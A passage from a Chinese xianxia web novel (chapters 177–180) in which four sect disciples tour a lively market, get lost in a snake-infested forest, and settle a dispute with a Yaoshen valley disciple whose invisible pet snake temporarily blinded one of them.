原来这里不只是仙门驿站,还是凡间驿站,二者交汇,那自然十分热闹,想在此处做些生意也情有可原。 和两位合欢宗弟子道别后,四人商量了一下,还是决定去里头吃点,毕竟确实省事啊,就几步远。 走近一瞧,除了被各种陌生又熟悉、刺激又诱人的香味给勾起了兴致之外,他们还发现药神洲的百姓们着装有些奇特,不只是颜色上花花绿绿的融合碰撞,非常有趣;就连款式也和普通衣物不同,有些人头上还带着繁复的头饰,别有风味,是他们从未见过的。 曾换月了然中有些惊讶:“我去,原来药神洲这么多少数民族的吗?” 明易微微颔首:“有所耳闻,难得一见。” “毕竟我们平时见到的药神洲的人都是药神谷的修士嘛,”顾梦真的眼睛已经停不下来地打量起那些摊位上新奇的东西了,“他们穿得都是寻常的门派门服……嘶,你们说他们这些民族服饰卖吗?” 熟悉景区套路的曾换月哼哼一笑:“肯定有卖,就算没有,你问一问他们也会卖的。” 眼神好的石映心往前一指:“那里好像就有一件成衣铺。” “哪里哪里!?” 明易将即将溜走的二师弟抓了回来:“要吃什么?吃完饭就去药神谷。” “……噢。”此处就在药神谷驿站附近,等办完事回去时再来进货也不迟。 第177章 几人买了些面食吃,什么小锅米线拌米线卤米线过桥米线抄米线……也不是她们偏爱米线,只是那些大姐大哥大娘大爷太热情,逮着人就是一顿说: “来我们药神洲不甩碗小锅米线白来的嘎!” “妹啊你葛吃饭了?必甩拌米线的呢嘎!” “咩?最好吃最正宗的当然是我家卤米线,那和其他味道不一样的嘎!” …… 不知不觉就买了这么多米线了。 秉着不能浪费的原则,几人将各种米线吃得一干二净,肚子差点涨破,别说再看到其他稀奇美食没胃口,就连走起路来都有些难受。 好吃是好吃哈,就是吃到后边有点伤。 “嗝~~”顾梦真打了个饱嗝,撑着桌子站了起来,“走,走吧,我们先四处逛逛消消食呗。” “嗝~~”曾换月扒拉住她师姐,“师姐,那边好像有好玩的……” “嗝~~”石映心扶着肚子点点头,“好。” 明易觉得就这么嗝嗝嗝地去到药神谷实在有些失仪,确实该消消食。 四人便一路晃悠地打量着街边的摊位走下去,除了些吃的玩的穿的,还有人在卖草药和虫蛇,也就这时候明易会驻足打量,拿出金花仙尊的小册子看一看,对照着摊位上是否有清单中的物种。 没想到还真给他找到一味草药,就在他打算掏钱买的时候,二师弟连忙冲了过来摁住了他的手,和他传密音道:“大师兄你干嘛!” 明易:“这是金花仙尊需要的草药。” “虽然但是!”顾梦真瞪大眼睛,“我们接受这任务是要赚金花仙尊灵石的,你帮她买不就违背初心了吗?而且方才那两个合欢宗的弟子也说了,这条街上的摊位都是坑外乡人的,东西肯定比正常的价格贵,到时候我们转卖给仙尊可能还要亏!” 怪不得方才换月和映心想买东西,这家伙极力制止她们…… “违背初心?”明易瞥他一眼:“你的脑袋里装的全是灵石是吗?仙尊的生意都想做。” “别嘛师兄,”顾梦真撒娇起来,“我们这几日先能找多少找多少,找不到再买呗?知道你尊师重道不在意这些灵石……看在我的份上嘛~~” 师弟烦,耍赖撒娇的师弟更烦。 明易嫌弃地将他撇开,没反驳就算是同意了。只是二人这一打岔,忽然发现重点关注对象不见了——两个师妹呢? “石映心!”顾梦真直接在街上大声嚷嚷起来,“曾换月!上哪去了你们,大师兄要生气了!” 并没打算生气的明易:…… 还没叫几声,边上一个卖芒果的大叔热情地说:“葛是要找和你们穿一样白衣裳的妹子嘎?上那边听我们山歌去了嘎。” 二人闻言道了谢,又买了一袋芒果,顺着大叔指的方向找去,果然很快听见一阵嘹亮的歌声,跟着歌声转了个街角,就看见一群人围在那儿听歌,其中两道月白的身影不就是他们两个师妹噶? 瞅见二人,两个师兄才松了口气。顾梦真抱胸摇头道:“唉,这两个家伙真不叫人省心!” 明易往前走去:“你也没差。” 顾梦真觉得严格来说是有差的,但他不是那么严格的人。 她们没来多久就发现了,药神洲这片的老百姓们乡音很重。虽然大部本地人见到外乡人时会积极地用雅言对话,但其实只是能让外乡人勉强听懂的程度,不过看得出来他们很努力了,没办法,乡音难改嘛。 所以明易这会听乡亲们唱山歌,一开始是完全没听懂的,只觉得曲调有些别致,和他们归壹洲的音律声调很有不同,但都是好听的。 再看两个师妹都听得入迷,微蹙眉头,似乎有些放空的模样。 明易走上前去问:“喜欢听吗?可以用留影珠录一段。” 石映心看向他,摇摇头道:“听不懂,算了。” 曾换月“嘶”了一声:“等等呗,我总觉得我快可以破译了!” “破译?欸欸,可以试试我新炼制的宝器啊!”顾梦真凑过来,铛铛铛地取出几对像耳塞一样的木质小玩意,看着简单又别致,“这叫‘包听懂的耳塞’,往耳朵里戴上这个,就能破译别人的乡音!” 这不就是外语翻译机吗?曾换月稀奇地拿起来看了看:“行啊你,怎么想到做这个的?” 顾梦真挠挠头:“哦,本来我想做的是读懂动物语言的宝器,但做到一半发现有些差错,可是中途报废又浪费材料,所以转而炼成能翻译各地乡音的宝器,想着弟子们下山四处游历,定是有用处的时候。” 这不就用上了。 四人好奇地戴上一听,“包听懂的耳塞”灵光一闪,那纯粹优美但听不懂的歌声一瞬间叫她们意会了: 【听了他们一席话~心中好似小猫抓~】 【我和福根同长大~亲如兄弟像一家~】 【现在要我代替他~左右为难无办法~】 …… 大概是唱一个男人发现自己生不出孩子于是想找异父异母的同村好兄弟借·种·的故事,越唱到后边越·色·情,都到了“包听懂的耳塞”无法翻译的程度了。 四人:……还不如听不懂哈。 明易要把耳塞扔了,顾梦真感到很委屈:“是歌的问题关我耳塞什么事呢嘎!呜呜呜谁知道他们唱这些嘎!” 大师兄绷着脸:“时候不早了,去药神谷。” 三人其实还想瞎逛逛,但见大师兄脸色不好,委屈又无奈地答应了。 好心人为他们指路,说药神谷在驿站出来东边的谷神森林中,不过林中景况复杂,容易迷踪失路,又有毒蛇怪鸟、薜萝藏虺,危机四伏。普通百姓只敢在森林边缘走走,不敢进入深处。 “不过几位都是仙人,谷神森林难不倒你介 的嘎。” 这位好心大娘乐观地说。 四人也是这么想的,没道理人家药神谷在森林中过得好好的,他们归壹派的人就不行吧? 来到谷神森林的入口,这会太阳还未下山,有几个背着竹篓的百姓正从里头走出来,多是两三个人搭伙,大热天的也穿得很严实,几乎只留出一双眼睛;见到四个逆行的孤勇者,很多大哥大姐大爷大娘都好心地劝告他们天黑了别进去。 说里边多么多么危险啊,什么蛇啊蚂蟥啊还有本地人都叫不出名字的毒虫……可在一些妖魔鬼怪之前,这些又算是小喽啰。 一个两个这么说还好,但这么多人都热情地苦心地劝她们,听得几人有些心慌慌的嘞。 可每当听到退堂鼓的声音时,她们紧接着又会想起那位好心大娘的话: 【不过几位都是仙人,谷神森林难不倒你介的嘎】 她们可是天下一仙门归壹派的弟子,小小森林,难不倒她们的! 更何况药神谷的人就住在里头,哪能在他们面前露怯? 明易先让师妹师弟们在原地等待,他先试试御物飞行能不能找到药神谷的踪迹,结果飞了两圈回来,带来了也不是那么意外的答案:“不行。” 于是只好先徒步往林中走,这会还想着要帮金花仙尊完成清单的事呢。顾梦真:“那我们就顺便看看那些草啊花的。” “啪!” 曾换月一巴掌拍死一只鬼鬼祟祟飞到她面前的蚊子,因此感到烦躁,忽然想到在现代刷过的一些视频,好像这种生态复杂的森林里的蚊虫都非常毒…… “师姐,师兄,”她停下脚步道,“我看那些百姓都穿得好严实,要不我们都罩个灵气屏障吧?” 大家都表示赞同。 往林中走一会,很快便看不到人影了。明明还是白日,但日光被无数茂盛的枝叶分散,稀疏地闪着片片磷光,偶尔被什么东西遮掩一瞬,眼前猛地暗淡下来,只余下世间黑乎乎的影子。 本来是说要完成清单册子的,但一进去就忍不住敏感地观察起周遭的情况,一时分不出神来。 顾梦真咽了下口水:“怎么有点……妖气森森的?” 曾换月粘着她师姐,眼珠子上下左右前后打量着:“这什么谷神森林里铁定有妖,就看敢不敢出来挑衅我们了!” 石映心问:“我以为药神谷在这里,至少他们会维护林中的安定。” “他们是有这样的打算。”明易解释道,“只不过谷神森林占地极广,最深处几乎没有人迹,或是去过的人没再现世;而药神谷所处的位置不过是深林之外的最后一道防线,算是一种镇压。” “至于为何不理会那些林中无伤大雅的小妖……算是一种丰富森林环境和物种的手段吧。” 话音刚落,只听一声剑出鞘,暗林中闪过一道寒光,剑气荡起一片声响,隐约有什么“呜”地叫了一声,很快便是慌乱的窸窣声,愈行愈远。 明易的寒竹剑甚至没有离手,只是拿出来挥了一式,这会又淡定地收了回来,对三双齐刷刷看来的好奇眼睛解释道:“小妖怪,震慑一下便好。” “哦,这样啊,不过……”曾换月挠挠脸道,“大师兄,接下来往哪走啊,感觉我们已经不在路上了。” 他说得不错,一开始走进林中,还会有几条因为“走的人多了,也便成了路”这样被老百姓走出来的路,但现在已经没有了,四处望去全是相似的景色,原地转一圈,甚至分不清东南西北。 “说起来,”顾梦真“啧”了一声,“好像大家只是说药神谷在谷神森林中,却没说到底是在东南西北多远的地方啊?我们连个标识物都不知道诶。” 第178章 明易闻言也是一愣:“对不住,我原以为会有路牌指引。先前也不曾听闻药神谷难寻的事例。” “哎呀大师兄,这不关你的事啦。”曾换月挥挥手道。 “是啊,”顾梦真也说,“以前去其他门派都是很好找的,谁知道这药神谷有这名堂……” “有古怪。”这时候石映心冒了个泡。 三人纷纷看向她:“什么古怪?” 石映心说:“这片森林错综复杂,扑朔迷离,就算我们是外乡人不太熟悉……但难道所有药神谷的弟子都能走清这些路吗?” 她这么一说,明易也有些感觉:“说来,方才那些劝我们的百姓只说林中很危险,不曾听过一句有药神谷发挥了什么作用的话……看来他们是真的没怎么管,谷神森林依旧野蛮,而药神谷只是在其中建立了自己一道秩序。” 石映心明白了:“也就是说她们定是有独特的手段回门派,而不是走这林里的路。比如需要门派令牌什么的。” 顾梦真扯了下嘴角:“或者干脆搞个结界也是有可能的。” “啊?”曾换月嘴巴一张,“那我们现在怎么办?” 明易道:“你们在此处稍等,我再御剑观察一下情况。” 石映心:“嗯,大师兄你快去快回。” 明易:快去。 明易:快回。 “找不到。”大师兄微微摇头道,“不过我已经释放出归壹派的信号烟花,药神谷的人察觉后应当会来接我们。” 信号烟花是八大洲同盟的信物之一,但这东西鸡肋就在很可能别人瞧不着,那就浪费了,所以一般只会在去到其他仙门的时候用,比如现在明易用的意思就是:来你家做客了,速来接待。 毕竟就在人家地盘内释放的型号,而且烟花中蕴含着灵力,相隔不远的修士定会察觉,因此算是一种强势召唤手段:不来就是不给我们天下第一仙门面子。 “平时基本用不上,差点忘了这玩意。”曾换月明显松了口气道,“这下好了,我们就别折腾了呗,等着药神谷来给我们接风洗尘吧!” “别啊,”顾梦真提醒道,“趁这空档我们在附近四处找找,看看能不能填补金花仙尊的清单册子呗?” 曾换月翻了个白眼:“你就心心念念这玩意,行吧,之后要是忙起来可能也没时间了。” 石映心和明易也没意见,反正现在乱走还不如等着。 顾梦真本来说要分组行动,但被明易否决了:“药神谷驻地几百年都未对谷神森林实行掌控,那些村民每人来此都是胆战心惊不敢深入,我们四人切不可大意。” 顾梦真:“好吧。” 明易:“记得戴上手衣,遇到虫蛇不要轻易下手,先知会我一声。” 三人:“是,大师兄——” 在大师兄的监视下,三人乖乖把手衣戴上。折腾这会儿功夫,太阳已经下山,微微昏暗的天色在茂盛树木的遮蔽下更显阴沉。顾梦真拿出四盏辟邪灯来,橙黄的火光照亮每一张熟悉的脸。 “呼……”曾换月吐出口气道,“明明是八月的天,怎么太阳一下山我就感觉有点冷飕飕的?” 石映心淡淡道:“可能因为有妖气作祟。” “师姐你别吓我。”曾换月挽住她师姐的胳膊,“吓了我就要负责保护我哦。” 石映心“嗯”了一声点点头。 明易瞥了曾换月一眼,以前没什么感觉,现在有些觉着了:这小师妹为何能随随便便、面不改色地说出这些黏黏腻腻的话呢? 还有,一个没注意这家伙就往映心身上挂,虽说女女授受相亲,但常常就搁在他和映心中间……他不是介意的意思,只是她这样亲密无间地黏着映心,映心如何方便行动呢? 明易:“换月。” 曾换月:“啊?” 明易:“若是遇到突发情况,映心还要拔剑护你,既然如此,她手上举着灯不方便,你举两盏为她照明吧。” 曾换月:“哦,好吧。” 石映心这时候贴心地说:“没事,我把灯一扔再拔剑很快的。” 顾梦真叫起来:“不准扔,这是我 的灯!!” 于是曾换月手上便举了两盏灯,起到一个她师姐去哪她就跟着去哪照明的作用,其实这活也很轻松,但不知为何她总觉得姿势有点傻呢?两只手仿佛就这么被固定住了,她觉得自己像灯杆成精。 师姐后来说:“其实一盏灯就够了。” 她正想放下一盏,大师兄不知道从哪里冒出来:“一盏是不够的,林中隐蔽处多,要多加小心。” 曾换月:“……啧,好吧。” 说是不分组,其实只是维持着彼此在视线中的范围内罢了,曾换月和师姐待在一起,她大师兄和二师兄待在一起,就在几步外。她常常还能瞧见大师兄往这边投来一个眼神,仿佛一个监工。 “换月,”石映心叫师妹,“你看这株像不像?” 曾换月打了个哈欠,泪水迷住一些视线,她两只手又腾不出来,便使劲眨了眨眼:“像,好像就是!” 石映心便将那株草摘了下来,随着草根被拔出土地的声音外,猛地有什么唰地蹿了过去,她微愣一瞬,没想去追究,但垂头一看,手中的草正在飞快地枯萎。 “这是蛇行草!”小师妹凑过来,在她耳边压低声音道,“金花仙尊在册子上写了,说是蛇最爱吃的一种草,但被蛇咬一口就会枯萎。方才那蹿过去的肯定是条蛇!” 石映心颔首道:“原来是这样。” 她自然没打算和一条蛇追究,一株草没了,边上不还长着一株吗?而且这是人家蛇的伙食,爱吃也正常,她再摘就是了。于是又伸手去摘其它的,只是刚拔出来,又是一声“唰——” 石映心:? 算了,还有呢,再拔一株:唰—— 石映心:?? 行,边上还有,问题不大,她再拔就是了:唰—— 石映心:OO 师父曾教训过她们“事不过三”,这是第四回了;又听小师妹在边上都跳起来:“是可忍孰不可忍,这条破蛇想干嘛啊!?” 石映心也觉得如此,一掐手决往边上的草里放去,毫不费力地就捉到了那条捣蛋的小蛇,黑溜溜一条,睁着豆大的眼睛震惊地看着她,使劲扭着身子也逃不出灵力的束缚。 石映心问师妹:“这条蛇可在清单之中?” 曾换月翻着册子哗地翻过一遍:“不在!” 石映心颔首:“那便杀了吧。” 蛇:00! 它仿佛听得懂人话,挣扎得愈发激烈起来。石映心用法术将它在空中打了三个结,见长长一条蛇变成一团,十分滑稽好笑。轻笑一声后手腕一甩,那蛇便被她扔到了远处的灌木丛中。 曾换月本来还在边上叫好呢,还不敢叫得太大声把大师兄引来,这会见师姐放了它,奇怪道:“师姐,你放了它干嘛呀?不是说要把它杀了吗?” 石映心摇摇头道:“它听得懂人话,开了灵智,不是普通的蛇了。师父说对这些有灵智的动植物要手下留情,想想它也没犯什么大错。” “啊?”曾换月撇嘴道,“居然已经开了灵智吗?我还以为蛇性本恶呢……不对,那它就是纯贱啊!这破蛇,再敢来坏事我就把它这样这样打结那样那样绑起来……” 石映心无所谓已经将蛇的事情抛之脑后,就想着蛇被她扔远之后,采的蛇行草也不会枯萎了,拔起一株瞧了瞧,果真没事,于是又多拔了几株,心满意足地收到储物袋中。 再看看这片草地似乎没什么了,她便打算换块地找找,这时耳边还传来曾换月絮絮叨叨的抱怨声,转头一看,却见一条黑溜溜的蛇趴在她的肩膀上,正伸长脖子要去咬她露在外边的一块脖颈。 小师妹:“别让我再见到它!” 石映心:…… “小心!” 她飞出一道灵光将那蛇打飞,却见那蛇被法术击中的同时忽然凭空消失,倒是曾换月的肩膀挨了一下,吓得她惊呼一声。 蛇不见了?石映心忙道:“别动!” 曾换月瞪大眼睛,瞬时间动也不敢动,绷着身子非常紧张。 石映心警惕地在师妹的身上打量起来。另一边的明易和顾梦真也闻声而来,虽不明情况但也警惕地打量着僵持中二人,先发现哪里古怪。 明易传密音:“发生什么事了?” 石映心回道:“有一条灵蛇在换月身上消失了。” 顾梦真:“哪里啊,没看见啊?” 曾换月:“我要是知道在哪还搁这站着呢呜呜呜呜……” 大伙都不敢轻举妄动,仔细打量着曾换月的全身。明易观察了一会,问道:“映心,你说的消失是什么意思?” 石映心:“就是一转眼就不见了。” “难道是隐蛇?这种蛇会隐身,可能已经不在换月身上。”明易眉头微蹙,“方才你们有些动静,发生什么事了?” 石映心这时候也知道那蛇会隐身了,因为她的小腿很明显地疼了一下,低头看去,疼的地方却什么都没有,只见到两个被咬破的小孔,但裤腿上隐约有些重量在颤动。 石映心很快意识到什么,飞快一眨眼,照见了一条黑溜溜的蛇已经偷溜到了她脚边,眼见就要蹿入灌木丛中消失不见;她当然不会让它就这么逃走,手腕一转飞出法术罩住了黑蛇,将它禁锢在原处现了形。 曾换月很快瞧见了:“它在那!” 边上二人走近来,还不等多打量那蛇,就听石映心在边上冷飕飕地说:“我被咬了。” 三人:!!! 第179章 “没事,”石映心对着六只瞪大的眼睛稳重道,“我已经封住了经脉。” 现在不是夸她反应快的时候,三人先将她扶到树边坐下,将她被咬到的那条腿的裤腿拉起来看了看,两个黑红的血洞非常明显,这会还流着些血。 曾换月抽了抽鼻子:“那条蛇是不是听见我一直骂它才回来咬我们的?呜呜都怪我,师姐我帮你把毒血吸出来——” 说着俯身就要凑过去,被顾梦真一把拉起来:“神经啊你,话本看多了是吧?” 明易叹了口气:“用灵力逼出来便好。” “哦,”曾换月还真是话本看多了,一时情急就没反应过来,“是哦。” 于是明易就用灵力帮石映心将蛇毒慢慢逼出来,一边操作着一边打量她的神色:“你可有不舒服的地方?” 石映心感受了一下,摇摇头:“除了伤口有些肿胀,其他没有。” 明易说:“我先将蛇毒逼出,之后到了药神谷,再请他们为你诊治。” 石映心其实没什么感觉,但她又知道大师兄比较周全,所以只是点点头。 曾换月在边上关心地问:“大师兄,这什么隐蛇是什么来头?它的毒厉害吗?” 明易默了默道:“隐蛇的毒素不会致死,不过……会使人失明。” “什么?”曾换月惊讶的目光转向石映心,“那师姐你……” 明易看着石映心直视着前方却渐渐失去焦点的双眸,瞳孔中的光亮逐渐暗淡,他放缓语气安慰道:“映心,隐蛇的毒导致的失明会随着毒深而加重;你反应及时、中毒不深,就算不医治,没过几日也会转好;等我们到了药神谷,立刻让他们为你医治。” 石映心这会确实看不太清了,但也不算两眼一黑的程度,她大概能看清一些人影,虽然全是黑乎乎的影子,分不出谁是谁,让她想起先前在心镜中看见的人影,但好在不至于连往哪走、哪里有人都不知道。 “我没事,”石映心微微摇头道,“其实还能看清一点。” 是吗?曾换月伸出一个手指头:“师姐,你看这是几?” 石映心:**? “这也太为难映心了吧。”顾梦真伸出五根手指头,“映心你看这是几?” 石映心:**? “……看不出来。” 明易:“别玩了,让映心好好休息。” 曾换月忽然想到什么,从储物空间里翻找出一条月白色的眼纱长带,说要给她师姐戴上 。顾梦真奇怪道:“映心又不是真瞎了,给她戴这个做什么?还是大晚上的……” “你懂什么,这叫妆造!” 曾换月兴致勃勃地给师姐戴上眼纱,仿佛看到了影视剧中走出来的女侠,白衣胜雪、威风凛凛,一片眼纱的脆弱更能衬托美强惨的气质;师姐本来就是淡淡的表情,真是非常适配……哇塞,她要拿留影珠记录…… 石映心把眼纱扯了下来:“看不见了。” 曾换月:…… “不管不管,你再戴一会!” 二人在这纠缠着,顾梦真出声提醒道:“那个,所以这条蛇要怎么办?” 明易回头瞥了眼那在师妹的灵力茧中挣扎的小黑蛇:“查一下有无在仙尊的清单册中,若是没有,就将它的双眼刺瞎。” “它太坏了!”曾换月把手中的眼纱捏紧,气呼呼道,“方才故意挑衅我和师姐不说,师姐捉住它之后发现它开了灵智又好心放它走,结果它恩将仇报地回来咬我们!这坏蛇不好好教训一番,还要等它日后危害四方吗?” 石映心在边上点点头:“坏蛇。” “哇,这么坏啊!欺负我师妹是吧?”顾梦真撩起袖子,“那就别怪我把你的蛇眼珠子捞出来泡茶喝了!” 他把清单册子拿出来胡乱地翻了一下,大喊了一声“没有”,仿佛在公正地判决了谁的死刑:“哼,喜欢把人咬瞎是吧,等着瞧、不是,等着瞧不见吧!” 话音刚落,他起了手诀往那挣扎的黑蛇一指,一团灵光顺势而出,就在即将要集中黑蛇的那一瞬却猛地被一道绿光击飞,身后树林沙沙沙地飞来一个女声:“手下留蛇!!” 四人闻声望去,就见一片暗绿之中飞出来一个绿油油的人影。 等她飞得近了,辟邪灯便照亮了她的模样:是一个穿着药神谷绿色门服的女弟子,两股麻花辫编着藤蔓在脑袋两侧,耳朵上别着一朵小黄花,神色慌张的脸上,有石绿抹了两边的脸。 石映心只能瞧见来者的身影,只觉得这声音似乎在哪听过。 这人落地后急喘了两口气,一手朝顾梦真前边的黑蛇伸去:“手、手下留蛇……” 明易见她的打扮:“你是药神谷的弟子。” “是,我叫屠芜。”屠芜飞快地扫了眼这四人,最后目光停留在石映心身上,“我记得你!” 说着她几步上前,一下子拉住了石映心的手:“石道友,我是在摘星大会上与你比试的屠芜,你还认得我吗?” 屠芜?是有些耳熟的名字……可她向来是看过的比听过的印象更深,所以并没有太多记忆。 未等石映心反应,曾换月就把屠芜扒拉开:“你还好意思说,我师姐被那条坏蛇给咬失明了,那是不是你的蛇?” 屠芜忙道:“我有解药!服下就能看见了!” 说着掏出一个大药丸来就要往石映心嘴巴里塞,后者本就瞎了大半,一下没反应过来,下意识不张开嘴,只听到曾换月在边上叫到:“这什么泥丸啊?这么大颗你要噎死我师姐!?” 屠芜的语气也有些不高兴了:“我没有!这是隐蛇的解药!” 曾换月:“啊?你这个看起来更像毒药嘛。” 屠芜:“你可以质疑我的药丸不好看,但是不能质疑它的药性!” “凭什么要相信你?你自己先吃一颗给我师姐试试毒。” “喂,你以为解药就能乱吃了吗?是药三分毒听过没?” “谁管你几分毒……” …… 石映心:……本来瞎了就烦。 她正想捂住耳朵,却感到有人拍了拍她肩膀,然后往她的左手里塞了一个大丸子,右手塞了一个水壶。接着就是大师兄稳当的声音:“我见这药神谷的弟子救蛇心切,又与你有过一面之缘,这解药应是真的。就是不真,我们也拿她有办法,你先服下试试。” 石映心微微颔首,就着水壶里的水服下了药丸,很快眼前便有了色彩,能瞧见小师妹和屠芜二人吵得发红的脸了。 她侧头望去,看见大师兄凑得有些近的脸,在他手中辟邪灯的照耀下发着温润的光,如玉的面孔笑得很柔和:“看得见了?” 石映心也笑了,朝他点点头:“嗯。” 另一边的顾梦真见师妹瞧得见了,把塞着耳朵的手指拿了出来,大喊道:“别吵了,映心已经瞧得见了!” 屠芜闻言低头看,手中的解毒丸不知何时不见了,先前有过一面之缘的石道友正睁着恢复后的水灵灵眼睛打量着她。 既然这样,就不必再寒暄了。屠芜立刻有底气起来:“她已经恢复了,现在能把蛇还给我了吧?” 还给她?连一声道歉都还没听见呢! 曾换月撇了撇嘴,瞅了顾梦真一眼,后者意会地“咳咳”两声,摇摇手指头道:“非也,非也,这位屠道友,账可不是这么算的。” 屠芜眉头一皱:“她中了我的灵蛇的毒,我帮她解了毒,这不就抵消了吗?你们还要怎么算?” “嘿!你的蛇害我师妹中了毒,帮她解毒不是理所当然的吗?但我师妹受到的失明之苦怎么算?她被蛇咬的伤口怎么算?哇要不要给你瞅一眼,好大两个血洞呢!我师妹要多疼啊!”顾梦真一拍手,理直气壮道,“还有啊,谁知道你这蛇毒和解毒丸有没有什么后遗症……” “没有!”屠芜果断反驳,“不准质疑我的解毒丸!” “行吧,”顾梦真也不追究,“方才我师妹说,你这蛇故意挑衅她们,咬坏了几株我们的蛇行草,这也得算上哈。” “还有那个……”曾换月转着眼珠子补充道,“我师姐的精神损失费!” 这都什么跟什么!屠芜有些冒火:“你们这些归壹派的人怎么如此得理不饶人?它只是一条开了些灵智的小蛇,所以调皮些罢了。” “屠道友,”明易这时候道,“正是因为它是条有灵智的小蛇,所以我们没想赶尽杀绝,方才也不是要杀它,不过是想刺瞎它的眼睛,给个教训,叫它日后不敢随意乱咬人。” “我两位师妹被她挑衅也没如何,已经放过了它一回,是它趁她们不备又回来咬了人,仿佛有仇要报,不得不叫我们怀疑它的秉性。既然它是你的灵宠,你身为主人,自然要好好管教才是。” 他这话说得有理有据还很平和,屠芜总算听明白了前因后果,绿油油的脸上有些泛红:“噢,是这么回事噶,我还以为……” 不等她说完,石映心幽幽道:“我们仙尊也有这样的小蛇灵宠,不过寻常都是放在储物空间中,为何你的蛇会出现在谷神森林呢?” 屠芜的脸色明显一僵。 曾换月偷笑一声:“噢~~原来是你一不小心让它跑出来了呀~~” 顾梦真偷 笑两声:“哎呀~~这么不小心啊~~” 屠芜:…… 明易适时道:“屠道友,如今虽服下了你的解药,但我心中依旧有些不安,还想去药神谷再请人为我师妹诊断;听闻这些虫蛇是你们药神谷弟子每人必备的小灵宠,届时你们药神谷的人问起来……我该如何解释这只隐蛇的来历呢?” 屠芜:………… 威胁,赤裸裸的威胁。 第180章 话说到这,她还在为隐蛇故意咬伤石道友的事感到一些愧疚呢,再被这么一威胁实在是没招了,叹了口气道: “好吧,这次都是我的错,如果不是我没看住隐蛇,又没管教好它,它就不会偷跑出来,还咬伤石道友……唉,你们想要什么补偿尽管说吧,还请不要将此事告知我们门派的人,不然我要受师父责罚的。” 听她终于坦诚地道了歉,四人的心情都畅快许多,也不是想故意为难她,只是你做错了事要来道歉,起码拿出一个态度来嘛! 曾换月蹭蹭师姐:“师姐你说呢?” 石映心很大度地颔首道:“既然她诚心诚意地道歉了,那就原谅她和她的蛇。” 顾梦真闻言,将灵力茧中扔给了屠芜:“这次就原谅你们,别再放它出来害人了。” 屠芜接到失而复得的灵宠,有些紧张地打量了几眼,见确实好端端的一条,没有任何受伤,于是赶忙将它收了起来,松了口气道:“你们放心,我肯定好好管教它。这次确实对不住了,要不……我赔些灵石给你们?” 灵石? 顾梦真看向师妹眨巴眼睛,满怀希望道:“映心你说呢?” 石映心摇摇头:“不必这么客气,我们有其他要事找你。” 她这么一说,几人恍然想起因果牌的事。说来正巧,她们要找的屠芜可不就是面前送上门来的这位吗?好在方才脾气上头时也没得理不饶人地撕破脸,不然现在就有些尴尬了。 屠芜见这几人的眼神都有些狡猾地躲闪了一下,奇怪道:“你们找我有事?” “咳。”明易接过话柄,“屠道友,你可是察觉到我们归壹派的信号烟花而来?” 屠芜一愣:“哦,原来那是你们放的。” 明易察觉到她这话里有些其他意思啊:“屠道友,难道你看到了我们的信号烟花,却不是因此而来?只是为了来找你走失的灵宠。” 屠芜被拆穿,尴尬地抓了抓自己的麻花辫:“额,是这样不错。你们放归壹派的信号烟花,最早也要等到明日才会有人来的。至于其中原因……想必不用我说也心知肚明吧?” 心知肚明是一回事,感到不爽是另一回事。曾换月冷哼一声道:“好啊,你们药神谷的人就这么故意怠慢我们!” 屠芜:“大家也不是故意的。” 曾换月:“这不是故意的是什么?” “你想啊,若是我们药神谷的人在你们归壹派的地盘里放了信号烟花,可能来者确实与你无冤无仇,但若是殷勤地去了,在其他弟子眼中像什么话呢?” 屠芜摊手道:“多一事不如少一事,与其去掺和这麻烦,不如等之后被长老仙尊吩咐着去。但这事要传到长老他们耳中,免不了再拖延一会,迟个一日也是早的。” “而且。”她接着解释,“其实你们这情况在我们药神谷屡见不鲜,许多外门弟子不打招呼地进了谷神森林都是要迷路一遭的,其他七大仙门的信号烟花我们都看厌了;又知道大家都是修士不会出什么大事,就是被毒蛇咬了也能自封经脉再活个几日,到我们谷中就能治好了……因此确实不太着急来救人。” 她这么一说确实可以理解,主要意思就是他们怠慢所有人,只是格外“针对”归壹派一点点。 四人:心情勉强好受一些。 明易这时候提出了之前的疑问,既然大家都会迷路,是否药神谷的弟子有特殊的回门手段? 屠芜颔首道:“你说得不错,我们药神谷令牌上有引领我们回门派的阵法。正因如此,我们才敢在谷神森林中来去自如、采药捉虫。” 说着,她手一翻,变出一个木雕令牌:“走吧,我带你们去药神谷……不过你们归壹派的人都是无事不登三宝殿的,这次来我们药神谷究竟是为了何事?方才石道友说是来找我的?” 石映心点点头,简单将任务的事告知她。 “因果牌?”屠芜有些好奇,“早有耳闻,我能看看吗?” 没什么不可以的,石映心递给她看。 “开天辟地,石破天惊……”屠芜一字一字仔细地看过,“药神谷,屠芜……竟指明了要来找我?万事树因果牌真的知晓天下事,连我这个寂寂无名的小弟子都知道。” 她把因果牌翻来翻去地看了看,又递还给了石映心:“不过我不知道它说的‘开天辟地,石破天惊’是什么意思,也不知道怎么帮你们。” “正常啦,”曾换月一耸肩,“因果牌经常这样给些云里雾里的信息,有时候任务都完成了我还没搞明白呢。” 屠芜:“那我们都不明白,该如何是好?” 明易按照先前的经验问:“屠道友,你近日可有什么要事去做?” “要事?”屠芜想了想,“就是捉那只小蛇啊,逃了有两日了,可把我急坏了,好在现在是找到了……除此之外似乎没其他特别的事。” “啊?”顾梦真问,“你就没什么要处理的任务吗?” 屠芜摇摇头:“近日谷中没有指派给我什么任务,我就寻常修炼、挖草药炼丹卖药……” 石映心想了想:“要不你找点重要的事做呢?” 屠芜:…… 她嘴角一抽道:“我干嘛自讨麻烦?” “可是,”石映心真诚的双眼望着她,“你的麻烦已经来了。” 屠芜第一时间还没反应过来,直到和其他三双同样真诚且无辜的眼睛对视上,这才回过神来,脑中划过一道晴天霹雳:“你们……不会是要缠着我吧?我真没什么要紧事啊!” “那你这两日可以准备一下了。”曾换月笑眯眯道,“我们来了就是一种要紧事的预告嘛。” 屠芜:…… 如今的情况让她再无奈也没办法。一是因果牌的威名在上,八大仙门的弟子都要配合;二是她还有把柄在这四人手上,而且她也已经知道她们是不好惹的;三是如果她接下来真的有什么紧急事件要发生…… 瞧这四人熟练的模样,也许能帮她解决?传说中的因果牌颁布的任务听来就不寻常,她一个药神谷的普通弟子,怎么就被盯上了呢? 古怪。 事已至此……屠芜飞快地在脑中斟酌利弊一番,颔首道:“好,看在因果牌的份上,这几日我就勉强招待你们吧。” “嚯,面真大啊。” 屠芜瞥向曾换月,又听她笑眯眯道:“我说因果牌呢。” “……哼。” 